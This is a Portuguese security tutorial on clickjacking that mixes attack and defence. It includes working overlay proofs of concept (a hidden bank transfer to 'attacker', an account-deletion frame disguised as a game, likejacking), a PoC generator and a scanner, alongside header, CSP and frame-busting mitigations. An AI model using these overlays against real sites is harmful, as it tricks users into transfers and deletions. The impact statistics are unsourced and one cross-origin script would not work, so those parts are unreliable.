# Clickjacking

## 🔍 Conceitos Fundamentais

### O que é Clickjacking

Clickjacking (também conhecido como UI Redressing) é um ataque que engana usuários para que cliquem em elementos invisíveis ou disfarçados em uma página web, fazendo com que executem ações não intencionais em aplicações onde estão autenticados.

### Princípio de Funcionamento

```
Página Maliciosa → Iframe Transparente → Ação Não Intencional → Consequências
       ↓                   ↓                    ↓                  ↓
Atacante cria site   Sobrepõe aplicação   Usuário clica no    Ação é executada
 com elemento        legítima com CSS     elemento invisível  na aplicação legítima
 atrativo
```

### Características do Clickjacking

* **Explora a confiança do usuário** na interface visual
* **Utiliza técnicas de CSS** para ocultar elementos
* **Pode contornar proteções CSRF** (pois o usuário realmente clica)
* **Frequentemente usado em combinação** com engenharia social

### Tipos de Clickjacking

1. **Basic Clickjacking** - Redirecionamento de cliques simples
2. **Cursorjacking** - Manipulação da posição do cursor
3. **Likejacking** - Curtidas não autorizadas em redes sociais
4. **Cookiejacking** - Roubo de cookies através de cliques
5. **Filejacking** - Upload não autorizado de arquivos
6. **Passwordjacking** - Captura de credenciais

***

## ⚔️ Mecanismos de Ataque

### Fluxo de Ataque Clickjacking

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant S as Servidor Legítimo
    participant B as Browser da Vítima

    Note over A,B: FASE 1: Preparação do Ataque
    A->>A: Desenvolve página maliciosa
    A->>A: Cria iframe transparente para site legítimo
    A->>A: Posiciona elemento atrativo sobre botão sensível

    Note over A,B: FASE 2: Enganando a Vítima
    A->>V: Engana vítima para visitar site malicioso
    V->>B: Acessa página do atacante
    B->>S: Carrega aplicação legítima em iframe
    S->>B: Retorna página com funcionalidades sensíveis

    Note over A,B: FASE 3: Interface Manipulada
    B->>B: Renderiza iframe transparente sobre elemento atrativo
    Note right of B: Usuário vê: "CLIQUE AQUI PARA PRÊMIO"<br>Na verdade clica em: "EXCLUIR CONTA"

    Note over A,B: FASE 4: Ação Não Intencional
    V->>B: Clica no elemento atrativo
    B->>S: Envia requisição para ação sensível
    Note right of B: Request inclui cookies de sessão
    S->>S: Processa ação como legítima (usuário autenticado)
    S->>B: Retorna confirmação da ação

    Note over A,B: FASE 5: Consequências
    B->>V: Exibe resultado da ação (se visível)
    A->>A: Registra sucesso do ataque
    V->>V: Percebe ação não intencional (ou não)

    Note over A,B: FASE 6: Ataques Adicionais
    A->>B: Redireciona para página legítima
    A->>A: Repete ataque para outras ações
```

### Cenário 1: Basic Clickjacking

```html
<!DOCTYPE html>
<html>
<head>
    <title>Prêmio Grátis!</title>
    <style>
        #malicious-button {
            position: absolute;
            top: 50px;
            left: 50px;
            z-index: 2;
            opacity: 1;
            cursor: pointer;
            padding: 20px;
            background: #ff0000;
            color: white;
            font-size: 20px;
        }
        
        #legitimate-site {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            opacity: 0.1; /* Quase transparente */
        }
    </style>
</head>
<body>
    <button id="malicious-button">CLIQUE AQUI PARA GANHAR UM IPHONE!</button>
    
    <iframe id="legitimate-site" 
            src="https://bank.com/transfer?to=attacker&amount=1000">
    </iframe>
</body>
</html>
```

### Cenário 2: Likejacking em Rede Social

```html
<style>
    #like-button-overlay {
        position: absolute;
        width: 100px;
        height: 20px;
        top: 150px;
        left: 200px;
        z-index: 1000;
        opacity: 0;
        cursor: pointer;
    }
    
    #social-media-frame {
        position: absolute;
        top: 0;
        left: 0;
        width: 500px;
        height: 500px;
        z-index: 1;
        opacity: 0.5;
    }
</style>

<div id="like-button-overlay"></div>
<iframe id="social-media-frame" 
        src="https://social-media.com/post/123/like"></iframe>
```

### Cenário 3: Filejacking

```html
<!-- Engana usuário para fazer upload de arquivos sensíveis -->
<style>
    #fake-upload {
        position: absolute;
        top: 100px;
        left: 100px;
        z-index: 2;
        background: blue;
        color: white;
        padding: 15px;
    }
    
    #real-upload {
        position: absolute;
        top: 100px;
        left: 100px;
        z-index: 1;
        opacity: 0.01;
        width: 200px;
        height: 50px;
    }
</style>

<div id="fake-upload">Faça upload da sua foto!</div>
<iframe id="real-upload" src="https://drive.com/upload"></iframe>
```

### Cenário 4: Cursorjacking

```html
<script>
    document.addEventListener('mousemove', function(e) {
        var fakeCursor = document.getElementById('fake-cursor');
        // Desloca cursor 50px para baixo e direita
        fakeCursor.style.left = (e.pageX + 50) + 'px';
        fakeCursor.style.top = (e.pageY + 50) + 'px';
    });
</script>

<style>
    #fake-cursor {
        position: absolute;
        width: 20px;
        height: 20px;
        background: url('cursor.png');
        z-index: 10000;
        pointer-events: none;
    }
</style>

<div id="fake-cursor"></div>
```

***

## 🔎 Identificação e Detecção

### Indicadores de Vulnerabilidade

```bash
# Sinais de aplicação vulnerável
- Ausência de headers X-Frame-Options
- Ausência de Content-Security-Policy com frame-ancestors
- Páginas com ações sensíveis (transferências, exclusões, etc.)
- Aplicações que permitem embedding em iframes
- Sites sem proteção contra framing
```

### Métodos de Detecção

{% stepper %}
{% step %}

### Teste Manual Básico

```html
<!DOCTYPE html>
<html>
<head>
    <title>Teste Clickjacking</title>
</head>
<body>
    <h2>Testando se o site pode ser embutido em iframe:</h2>
    <iframe src="https://alvo.com" width="800" height="600"></iframe>
</body>
</html>
```

{% endstep %}

{% step %}

### Script de Detecção Automatizada

```python
#!/usr/bin/env python3
# clickjacking_scanner.py

import requests
import argparse
from urllib.parse import urljoin

class ClickjackingScanner:
    def __init__(self):
        self.vulnerable_sites = []
        
    def check_clickjacking_protection(self, url):
        """
        Verificar proteções contra clickjacking
        """
        try:
            response = requests.get(url, timeout=10, verify=False)
            headers = response.headers
            
            protection_headers = {
                'X-Frame-Options': False,
                'Content-Security-Policy': False
            }
            
            # Verificar X-Frame-Options
            if 'X-Frame-Options' in headers:
                xfo = headers['X-Frame-Options'].upper()
                if xfo in ['DENY', 'SAMEORIGIN']:
                    protection_headers['X-Frame-Options'] = True
                elif 'ALLOW-FROM' in xfo:
                    print(f"[!] X-Frame-Options com ALLOW-FROM pode ser restritivo: {xfo}")
            
            # Verificar Content-Security-Policy
            if 'Content-Security-Policy' in headers:
                csp = headers['Content-Security-Policy']
                if 'frame-ancestors' in csp.lower():
                    if 'none' in csp.lower() or 'self' in csp.lower():
                        protection_headers['Content-Security-Policy'] = True
                    elif 'http' not in csp.lower() and 'https' not in csp.lower():
                        protection_headers['Content-Security-Policy'] = True
            
            # Determinar vulnerabilidade
            is_vulnerable = not (protection_headers['X-Frame-Options'] or 
                               protection_headers['Content-Security-Policy'])
            
            return {
                'url': url,
                'vulnerable': is_vulnerable,
                'headers': protection_headers,
                'x_frame_options': headers.get('X-Frame-Options', 'MISSING'),
                'content_security_policy': headers.get('Content-Security-Policy', 'MISSING')
            }
            
        except Exception as e:
            print(f"[!] Erro ao verificar {url}: {e}")
            return None

    def test_frame_busting(self, url):
        """
        Testar se há JavaScript frame busting
        """
        try:
            response = requests.get(url, timeout=10)
            content = response.text.lower()
            
            # Procurar por frame busting scripts
            frame_busting_indicators = [
                'if (top != self)',
                'if (top.location != self.location)',
                'if (top !== self)',
                'frame busting',
                'framebuster'
            ]
            
            has_frame_busting = any(indicator in content for indicator in frame_busting_indicators)
            
            return has_frame_busting
            
        except Exception as e:
            print(f"[!] Erro no teste de frame busting: {e}")
            return False

    def generate_poc(self, target_url):
        """
        Gerar prova de conceito para clickjacking
        """
        poc_html = f"""
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC - {target_url}</title>
    <style>
        body {{
            margin: 0;
            padding: 20px;
            font-family: Arial, sans-serif;
        }}
        .container {{
            position: relative;
            width: 100%;
            height: 600px;
        }}
        .overlay-button {{
            position: absolute;
            top: 50px;
            left: 50px;
            z-index: 1000;
            background: #ff4444;
            color: white;
            padding: 20px 40px;
            font-size: 18px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }}
        .target-frame {{
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            opacity: 0.5;
            border: 2px dashed red;
        }}
        .warning {{
            background: #fff3cd;
            border: 1px solid #ffeaa7;
            padding: 15px;
            margin-bottom: 20px;
            border-radius: 5px;
        }}
    </style>
</head>
<body>
    <div class="warning">
        <strong>PROVA DE CONCEITO - CLICKJACKING</strong><br>
        Este documento demonstra que <strong>{target_url}</strong> é vulnerável a clickjacking.
        O botão vermelho está sobreposto ao iframe do site alvo.
    </div>
    
    <div class="container">
        <button class="overlay-button" onclick="alert('Clique capturado! No ataque real, isso executaria uma ação no site alvo.')">
            CLIQUE AQUI (VOCÊ ESTÁ SENDO ENGANADO)
        </button>
        <iframe class="target-frame" src="{target_url}"></iframe>
    </div>
    
    <div style="margin-top: 20px;">
        <h3>Detalhes Técnicos:</h3>
        <ul>
            <li>Site alvo: {target_url}</li>
            <li>Vulnerabilidade: Ausência de X-Frame-Options e/ou CSP frame-ancestors</li>
            <li>Risco: Ações não intencionais podem ser executadas por usuários autenticados</li>
        </ul>
    </div>
</body>
</html>
        """
        
        return poc_html

    def scan_url(self, url):
        """
        Escanear URL específica para vulnerabilidades de clickjacking
        """
        print(f"[*] Escaneando: {url}")
        
        # Verificar proteções de headers
        protection_check = self.check_clickjacking_protection(url)
        
        if protection_check:
            print(f"    X-Frame-Options: {protection_check['x_frame_options']}")
            print(f"    Content-Security-Policy: {protection_check['content_security_policy']}")
            print(f"    Vulnerável: {protection_check['vulnerable']}")
            
            # Testar frame busting
            has_frame_busting = self.test_frame_busting(url)
            print(f"    Frame Busting JavaScript: {has_frame_busting}")
            
            if protection_check['vulnerable']:
                # Gerar PoC se vulnerável
                poc = self.generate_poc(url)
                filename = f"clickjacking_poc_{url.replace('://', '_').replace('/', '_')}.html"
                
                with open(filename, 'w') as f:
                    f.write(poc)
                
                print(f"    [!] PoC salvo como: {filename}")
                self.vulnerable_sites.append(url)
        
        print()

    def generate_report(self):
        """
        Gerar relatório final
        """
        return {
            'vulnerable_sites': self.vulnerable_sites,
            'total_vulnerable': len(self.vulnerable_sites)
        }

def main():
    parser = argparse.ArgumentParser(description='Scanner de Vulnerabilidade Clickjacking')
    parser.add_argument('urls', nargs='+', help='URLs para escanear')
    parser.add_argument('--file', help='Arquivo com lista de URLs')
    
    args = parser.parse_args()
    
    scanner = ClickjackingScanner()
    
    # Processar URLs do argumento
    urls_to_scan = args.urls
    
    # Processar arquivo se fornecido
    if args.file:
        with open(args.file, 'r') as f:
            urls_to_scan.extend([line.strip() for line in f if line.strip()])
    
    print(f"[*] Iniciando scan de {len(urls_to_scan)} URLs...\n")
    
    for url in urls_to_scan:
        scanner.scan_url(url)
    
    report = scanner.generate_report()
    
    print(f"\n[+] RELATÓRIO FINAL:")
    print(f"    Total de sites vulneráveis: {report['total_vulnerable']}")
    
    if report['vulnerable_sites']:
        print("\n    Sites vulneráveis:")
        for site in report['vulnerable_sites']:
            print(f"      - {site}")

if __name__ == "__main__":
    main()
```

{% endstep %}
{% endstepper %}

### Técnicas de Detecção Avançadas

{% stepper %}
{% step %}

### Teste de Frame Busting Bypass

```python
def test_frame_busting_bypass(target_url):
    """
    Testar técnicas para bypass de frame busting
    """
    bypass_techniques = [
        # Double framing
        '''
        <iframe src="about:blank" id="outer">
        <script>
            var outer = document.getElementById('outer');
            outer.contentDocument.write('<iframe src="%s"></iframe>');
        </script>
        ''',
        
        # onBeforeUnload
        '''
        <iframe src="%s" onbeforeunload="return false;"></iframe>
        ''',
        
        # Sandbox attribute
        '''
        <iframe src="%s" sandbox="allow-scripts"></iframe>
        '''
    ]
    
    for technique in bypass_techniques:
        print(f"[*] Testando técnica: {technique[:50]}...")
        # Implementar teste prático
```

{% endstep %}

{% step %}

### Verificação de Headers em Diferentes Caminhos

```python
def comprehensive_header_check(base_url):
    """
    Verificar headers em múltiplos endpoints
    """
    endpoints = [
        '/', '/login', '/admin', '/user/profile',
        '/transfer', '/settings', '/logout'
    ]
    
    for endpoint in endpoints:
        url = urljoin(base_url, endpoint)
        print(f"[*] Verificando {url}")
        # Implementar verificação de headers
```

{% endstep %}
{% endstepper %}

***

## 💥 Exploração e Impacto

### Técnicas de Exploração Avançadas

{% stepper %}
{% step %}

### Ataque de Transferência Bancária

```html
<!DOCTYPE html>
<html>
<head>
    <title>Promoção Especial do Banco!</title>
    <style>
        #promo-button {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            z-index: 10000;
            background: linear-gradient(45deg, #FF0000, #FF8000);
            color: white;
            padding: 30px 60px;
            font-size: 24px;
            border: none;
            border-radius: 10px;
            cursor: pointer;
            box-shadow: 0 4px 15px rgba(0,0,0,0.3);
        }
        
        #bank-iframe {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            opacity: 0.001; /* Quase invisível */
        }
    </style>
</head>
<body>
    <h1 style="text-align: center; margin-top: 100px;">
        PARABÉNS! VOCÊ GANHOU UM PRÊMIO ESPECIAL!
    </h1>
    
    <button id="promo-button" onclick="alert('Obrigado! Seu prêmio está a caminho!')">
        CLIQUE PARA RESGATAR SEU PRÊMIO!
    </button>
    
    <iframe id="bank-iframe" 
            src="https://banco.com/transfer?to=attacker&amount=5000">
    </iframe>
</body>
</html>
```

{% endstep %}

{% step %}

### Ataque de Exclusão de Conta

```html
<style>
    #game-button {
        position: absolute;
        top: 300px;
        left: 400px;
        z-index: 2;
        width: 200px;
        height: 60px;
        background: #4CAF50;
        color: white;
        border: none;
        font-size: 18px;
        cursor: pointer;
    }
    
    #delete-account-frame {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 1;
        opacity: 0.01;
    }
</style>

<!-- Página disfarçada de jogo -->
<div style="text-align: center;">
    <h1>JOGO DA SORTE!</h1>
    <p>Clique no botão verde para jogar!</p>
</div>

<button id="game-button">JOGAR AGORA!</button>
<iframe id="delete-account-frame" src="https://rede-social.com/delete-account"></iframe>
```

{% endstep %}

{% step %}

### Ataque de Like/Follow em Massa

```html
<script>
    let likeCount = 0;
    
    function autoLike() {
        likeCount++;
        document.getElementById('counter').innerText = likeCount;
        
        // Simular clique no iframe
        var iframe = document.getElementById('social-frame');
        var likeButton = iframe.contentDocument.querySelector('.like-button');
        if (likeButton) {
            likeButton.click();
        }
        
        if (likeCount < 100) {
            setTimeout(autoLike, 100);
        }
    }
</script>

<style>
    #auto-like-button {
        position: absolute;
        top: 50px;
        left: 50px;
        z-index: 1000;
        padding: 15px 30px;
        background: #1877F2;
        color: white;
        border: none;
        cursor: pointer;
    }
    
    #social-frame {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 1;
        opacity: 0.001;
    }
</style>

<button id="auto-like-button" onclick="autoLike()">
    CLIQUE PARA CURTIR AUTOMATICAMENTE!
</button>
<div>Posts curtidos: <span id="counter">0</span></div>

<iframe id="social-frame" src="https://social-media.com/feed"></iframe>
```

{% endstep %}
{% endstepper %}

### Impacto do Clickjacking

#### Cenários de Ataque e Impacto

```json
{
  "financial_fraud": {
    "impacto": "Alto",
    "cenario": "Transferências bancárias não autorizadas",
    "consequencias": [
      "Perda financeira direta",
      "Problemas legais e disputas",
      "Danos à reputação do banco",
      "Multas regulatórias"
    ]
  },
  "social_engineering": {
    "impacto": "Médio-Alto",
    "cenario": "Ações sociais não autorizadas",
    "consequencias": [
      "Curtidas/follows em massa",
      "Compartilhamento de conteúdo malicioso",
      "Danos à reputação pessoal",
      "Propagação de desinformação"
    ]
  },
  "data_breach": {
    "impacto": "Alto",
    "cenario": "Exposição ou exclusão de dados",
    "consequencias": [
      "Exclusão de contas/arquivos",
      "Exfiltração de dados sensíveis",
      "Violação de privacidade",
      "Problemas de compliance (LGPD, GDPR)"
    ]
  },
  "business_impact": {
    "impacto": "Alto",
    "cenario": "Impacto na operação do negócio",
    "consequencias": [
      "Perda de confiança dos usuários",
      "Danos à marca e reputação",
      "Custos com resposta a incidentes",
      "Impacto no valuation da empresa"
    ]
  }
}
```

#### Estatísticas de Impacto

```
- 15% dos sites ainda são vulneráveis a clickjacking
- Tempo médio para explorar: 2-5 dias
- Taxa de sucesso em usuários comuns: 60-80%
- Custo médio por incidente: $50,000+
```

***

## 🛡️ Mitigação e Correção

### Estratégias de Defesa em Camadas

{% stepper %}
{% step %}

### Headers de Segurança HTTP

**X-Frame-Options**

```python
# Django Middleware
class XFrameOptionsMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        response['X-Frame-Options'] = 'DENY'
        return response

# Flask
@app.after_request
def set_xframe_options(response):
    response.headers['X-Frame-Options'] = 'DENY'
    return response

# Express.js (Node.js)
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    next();
});
```

**Content-Security-Policy**

```python
# CSP com frame-ancestors
def set_csp_headers(response):
    csp_policy = (
        "default-src 'self'; "
        "script-src 'self' https://trusted-cdn.com; "
        "style-src 'self' 'unsafe-inline'; "
        "frame-ancestors 'none'; "  # Bloqueia todos os frames
        "object-src 'none'; "
        "base-uri 'self'"
    )
    response.headers['Content-Security-Policy'] = csp_policy
    return response

# Para permitir frames apenas do mesmo origin
csp_policy = "frame-ancestors 'self';"

# Para permitir frames de domínios específicos
csp_policy = "frame-ancestors https://trusted-partner.com https://embed.example.com;"
```

{% endstep %}

{% step %}

### Configuração de Web Server

**Nginx**

```nginx
# /etc/nginx/nginx.conf
server {
    listen 80;
    server_name example.com;
    
    # Headers de segurança contra clickjacking
    add_header X-Frame-Options "DENY" always;
    add_header Content-Security-Policy "frame-ancestors 'none';" always;
    add_header X-Content-Type-Options "nosniff" always;
    
    # Para páginas que precisam de embedding controlado
    location /embed/ {
        add_header X-Frame-Options "ALLOW-FROM https://trusted-site.com";
        add_header Content-Security-Policy "frame-ancestors https://trusted-site.com;";
    }
    
    location / {
        # Configuração padrão - nega todos os frames
        add_header X-Frame-Options "DENY" always;
    }
}
```

**Apache**

```apache
# /etc/apache2/conf-available/security-headers.conf
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'none';"
Header always set X-Content-Type-Options "nosniff"

# Para paths específicos que permitem embedding
<Location "/widget/">
    Header set X-Frame-Options "ALLOW-FROM https://partner.com"
    Header set Content-Security-Policy "frame-ancestors https://partner.com;"
</Location>
```

{% endstep %}

{% step %}

### JavaScript Frame Busting

```javascript
// Frame busting básico
if (top !== self) {
    top.location = self.location;
}

// Frame busting mais robusto
(function() {
    if (window !== top) {
        top.location = window.location;
    }
})();

// Frame busting com verificação de referrer
if (top.location.hostname !== window.location.hostname) {
    top.location.hostname = window.location.hostname;
}

// Defesa contra ataques de double framing
function frameBuster() {
    if (top != self) {
        try {
            if (top.location.hostname != self.location.hostname) {
                top.location.href = self.location.href;
            }
        } catch (e) {
            // Se blocked by CSP, tenta abrir em nova janela
            window.open(self.location.href, '_top');
        }
    }
}

// Executar em várias fases
document.addEventListener('DOMContentLoaded', frameBuster);
window.addEventListener('load', frameBuster);
setTimeout(frameBuster, 1000);
```

{% endstep %}
{% endstepper %}

### Proteções Avançadas

{% stepper %}
{% step %}

### Sistema de Confirmação para Ações Sensíveis

```javascript
class ActionConfirmation {
    constructor() {
        this.sensitiveActions = [
            'transfer', 'delete', 'purchase', 
            'update', 'changepassword', 'logout'
        ];
    }
    
    requiresConfirmation(action) {
        return this.sensitiveActions.some(sensitive => 
            action.toLowerCase().includes(sensitive)
        );
    }
    
    showConfirmation(action, callback) {
        const modal = document.createElement('div');
        modal.style.cssText = `
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 10000;
        `;
        
        modal.innerHTML = `
            <div style="background: white; padding: 20px; border-radius: 5px; text-align: center;">
                <h3>Confirmação de Ação</h3>
                <p>Você está prestes a executar: <strong>${action}</strong></p>
                <p>Esta ação não pode ser desfeita.</p>
                <button id="confirm-action">Confirmar</button>
                <button id="cancel-action">Cancelar</button>
            </div>
        `;
        
        document.body.appendChild(modal);
        
        document.getElementById('confirm-action').onclick = () => {
            document.body.removeChild(modal);
            callback(true);
        };
        
        document.getElementById('cancel-action').onclick = () => {
            document.body.removeChild(modal);
            callback(false);
        };
    }
}

// Uso
const confirmation = new ActionConfirmation();

document.addEventListener('click', (e) => {
    const action = e.target.getAttribute('data-action');
    if (action && confirmation.requiresConfirmation(action)) {
        e.preventDefault();
        e.stopPropagation();
        
        confirmation.showConfirmation(action, (confirmed) => {
            if (confirmed) {
                // Executar ação original
                performAction(action);
            }
        });
    }
});
```

{% endstep %}

{% step %}

### Monitoramento e Detecção em Tempo Real

```javascript
class ClickjackingMonitor {
    constructor() {
        this.suspiciousPatterns = [];
        this.init();
    }
    
    init() {
        // Monitorar eventos de clique suspeitos
        document.addEventListener('click', this.analyzeClick.bind(this));
        
        // Verificar se está em iframe
        this.checkFraming();
    }
    
    analyzeClick(event) {
        const element = event.target;
        const rect = element.getBoundingClientRect();
        
        // Verificar se o clique foi em elemento sobreposto
        if (this.isOverlapping(element)) {
            this.reportSuspiciousClick(event);
        }
        
        // Verificar elementos quase transparentes
        if (this.isAlmostTransparent(element)) {
            this.reportSuspiciousClick(event);
        }
    }
    
    isOverlapping(element) {
        const elements = document.elementsFromPoint(
            element.getBoundingClientRect().left,
            element.getBoundingClientRect().top
        );
        
        return elements.length > 2; // Mais de 2 elementos no mesmo ponto
    }
    
    isAlmostTransparent(element) {
        const style = window.getComputedStyle(element);
        const opacity = parseFloat(style.opacity);
        return opacity < 0.1 && opacity > 0;
    }
    
    checkFraming() {
        if (window.self !== window.top) {
            console.warn('Página carregada em iframe - possível clickjacking');
            this.reportFraming();
        }
    }
    
    reportSuspiciousClick(event) {
        const report = {
            type: 'suspicious_click',
            timestamp: new Date().toISOString(),
            element: event.target.outerHTML,
            position: {
                x: event.clientX,
                y: event.clientY
            },
            url: window.location.href
        };
        
        // Enviar para sistema de monitoramento
        this.sendToMonitoring(report);
    }
    
    sendToMonitoring(data) {
        // Implementar envio para sistema de segurança
        fetch('/api/security/events', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(data)
        });
    }
}

// Inicializar monitor
new ClickjackingMonitor();
```

{% endstep %}
{% endstepper %}

***

## 🔧 Ferramentas e Testes

### Ferramentas de Teste Especializadas

{% stepper %}
{% step %}

### Clickjacking PoC Generator

```python
#!/usr/bin/env python3
# clickjacking_poc_generator.py

class ClickjackingPoCGenerator:
    def __init__(self):
        self.templates = {}
        self.load_templates()
    
    def load_templates(self):
        """Carregar templates de PoC"""
        self.templates = {
            'basic': self.basic_template(),
            'advanced': self.advanced_template(),
            'cursorjacking': self.cursorjacking_template(),
            'filejacking': self.filejacking_template()
        }
    
    def basic_template(self):
        """Template básico de clickjacking"""
        return '''
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC - {target_url}</title>
    <style>
        body {{
            margin: 0;
            padding: 20px;
            font-family: Arial, sans-serif;
        }}
        .container {{
            position: relative;
            width: 100%;
            height: 600px;
            border: 2px solid #ccc;
        }}
        .overlay {{
            position: absolute;
            top: {button_top}px;
            left: {button_left}px;
            z-index: 1000;
            background: {button_color};
            color: white;
            padding: {button_padding};
            font-size: {button_font_size}px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }}
        .target-frame {{
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            opacity: {frame_opacity};
            border: none;
        }}
    </style>
</head>
<body>
    <h1>Clickjacking Proof of Concept</h1>
    <p>Target: {target_url}</p>
    
    <div class="container">
        <button class="overlay" onclick="alert('Click intercepted!')">
            {button_text}
        </button>
        <iframe class="target-frame" src="{target_url}"></iframe>
    </div>
</body>
</html>
        '''
    
    def generate_poc(self, target_url, template_type='basic', **kwargs):
        """Gerar PoC personalizado"""
        template = self.templates.get(template_type, self.templates['basic'])
        
        defaults = {
            'button_text': 'CLICK HERE FOR FREE PRIZE!',
            'button_color': '#ff4444',
            'button_top': 50,
            'button_left': 50,
            'button_padding': '20px 40px',
            'button_font_size': 18,
            'frame_opacity': 0.1
        }
        
        # Atualizar com valores fornecidos
        defaults.update(kwargs)
        defaults['target_url'] = target_url
        
        return template.format(**defaults)
    
    def save_poc(self, target_url, filename=None, **kwargs):
        """Salvar PoC em arquivo"""
        if not filename:
            filename = f"clickjacking_poc_{target_url.replace('://', '_').replace('/', '_')}.html"
        
        poc_content = self.generate_poc(target_url, **kwargs)
        
        with open(filename, 'w') as f:
            f.write(poc_content)
        
        return filename

# Uso
generator = ClickjackingPoCGenerator()
poc_file = generator.save_poc(
    'https://vulnerable-site.com/admin/delete-user',
    button_text='DELETE MY ACCOUNT',
    button_color='#ff0000',
    frame_opacity=0.01
)
```

{% endstep %}

{% step %}

### Ferramentas de Linha de Comando

```bash
#!/bin/bash
# clickjacking_tester.sh

TARGET=$1
OUTPUT_FILE="clickjacking_test_$(date +%Y%m%d_%H%M%S).html"

echo "Testing clickjacking vulnerability for: $TARGET"

# Verificar headers
echo "Checking security headers..."
curl -I -s $TARGET | grep -E "(X-Frame-Options|Content-Security-Policy)"

# Gerar PoC
cat > $OUTPUT_FILE << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking Test - $TARGET</title>
    <style>
        #test-button {
            position: absolute;
            top: 100px;
            left: 100px;
            z-index: 1000;
            background: red;
            color: white;
            padding: 20px;
        }
        #target-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            opacity: 0.1;
        }
    </style>
</head>
<body>
    <button id="test-button">TEST BUTTON</button>
    <iframe id="target-frame" src="$TARGET"></iframe>
</body>
</html>
EOF

echo "PoC generated: $OUTPUT_FILE"
echo "Open this file in a browser to test clickjacking vulnerability"
```

{% endstep %}
{% endstepper %}

### Comandos de Teste Manuais

```bash
# Teste rápido com curl
curl -I https://target.com | grep -i "x-frame-options\|content-security-policy"

# Teste com diferentes user agents
curl -H "User-Agent: Mozilla/5.0" -I https://target.com

# Teste de múltiplos endpoints
for endpoint in / /login /admin /settings; do
    echo "Testing: $endpoint"
    curl -I "https://target.com$endpoint" | grep -i "x-frame-options"
done
```

***

## 📋 Checklists de Segurança

### Checklist de Prevenção Clickjacking

* [ ] **Headers de Segurança HTTP**
  * [ ] X-Frame-Options configurado como "DENY" ou "SAMEORIGIN"
  * [ ] Content-Security-Policy com frame-ancestors
  * [ ] Headers aplicados em todas as respostas
  * [ ] Configuração consistente em todos os endpoints
* [ ] **Proteções no Client-Side**
  * [ ] Frame busting JavaScript implementado
  * [ ] Confirmações para ações sensíveis
  * [ ] Monitoramento de eventos de clique suspeitos
  * [ ] Defesas contra técnicas de bypass
* [ ] **Configuração de Servidor**
  * [ ] Web server configurado para headers de segurança
  * [ ] Configurações específicas para paths que permitem embedding
  * [ ] Headers aplicados em nível de servidor
  * [ ] Configuração revisada regularmente
* [ ] **Monitoramento e Resposta**
  * [ ] Logging de tentativas de framing
  * [ ] Alertas para padrões de clickjacking
  * [ ] Plano de resposta a incidentes
  * [ ] Testes regulares de vulnerabilidade

### Checklist de Auditoria

* [ ] **Testes de Segurança**
  * [ ] Verificação de headers X-Frame-Options
  * [ ] Teste de Content-Security-Policy
  * [ ] Teste manual com iframes
  * [ ] Verificação de frame busting JavaScript
  * [ ] Teste de técnicas de bypass
* [ ] **Revisão de Código**
  * [ ] Análise de headers de resposta
  * [ ] Verificação de implementação de CSP
  * [ ] Revisão de código JavaScript de frame busting
  * [ ] Análise de configurações de servidor web
* [ ] **Testes de Integração**
  * [ ] Teste em diferentes browsers
  * [ ] Verificação de compatibilidade com aplicações legadas
  * [ ] Teste de funcionalidades de embedding legítimas
  * [ ] Validação de headers em APIs

### Checklist de Resposta a Incidentes

* [ ] **Detecção**
  * [ ] Monitoramento de logs de acesso
  * [ ] Análise de relatórios de usuários
  * [ ] Detecção de padrões de tráfego suspeitos
  * [ ] Alertas de sistemas de segurança
* [ ] **Contenção**
  * [ ] Implementação imediata de headers de segurança
  * [ ] Bloqueio de domínios maliciosos
  * [ ] Notificação a usuários afetados
  * [ ] Revisão de logs e auditoria
* [ ] **Correção**
  * [ ] Implementação de proteções permanentes
  * [ ] Atualização de configurações de servidor
  * [ ] Melhoria de sistemas de monitoramento
  * [ ] Treinamento de equipe e usuários

***

## 📊 Exemplos de Implementação Segura

### Sistema Completo de Proteção

```python
# security/clickjacking_protection.py
import re
from functools import wraps
from django.http import HttpResponse

class ClickjackingProtection:
    """
    Sistema abrangente de proteção contra clickjacking
    """
    
    def __init__(self):
        self.allowed_frame_ancestors = []
        self.embedding_policies = {}
    
    def add_allowed_embedder(self, domain, path_pattern=None):
        """
        Adicionar domínio permitido para embedding
        """
        if path_pattern:
            self.embedding_policies[domain] = re.compile(path_pattern)
        else:
            self.allowed_frame_ancestors.append(domain)
    
    def get_csp_header(self, request):
        """
        Gerar header CSP baseado na requisição
        """
        path = request.path
        
        # Verificar políticas específicas por path
        for domain, pattern in self.embedding_policies.items():
            if pattern.match(path):
                return f"frame-ancestors {domain};"
        
        # Política padrão - nenhum frame permitido
        if self.allowed_frame_ancestors:
            domains = " ".join(self.allowed_frame_ancestors)
            return f"frame-ancestors {domains};"
        else:
            return "frame-ancestors 'none';"
    
    def protection_middleware(self, get_response):
        """
        Middleware de proteção para Django
        """
        def middleware(request):
            response = get_response(request)
            
            # Aplicar X-Frame-Options
            response['X-Frame-Options'] = 'DENY'
            
            # Aplicar CSP
            csp_header = self.get_csp_header(request)
            response['Content-Security-Policy'] = csp_header
            
            # Headers adicionais de segurança
            response['X-Content-Type-Options'] = 'nosniff'
            response['Referrer-Policy'] = 'strict-origin-when-cross-origin'
            
            return response
        
        return middleware

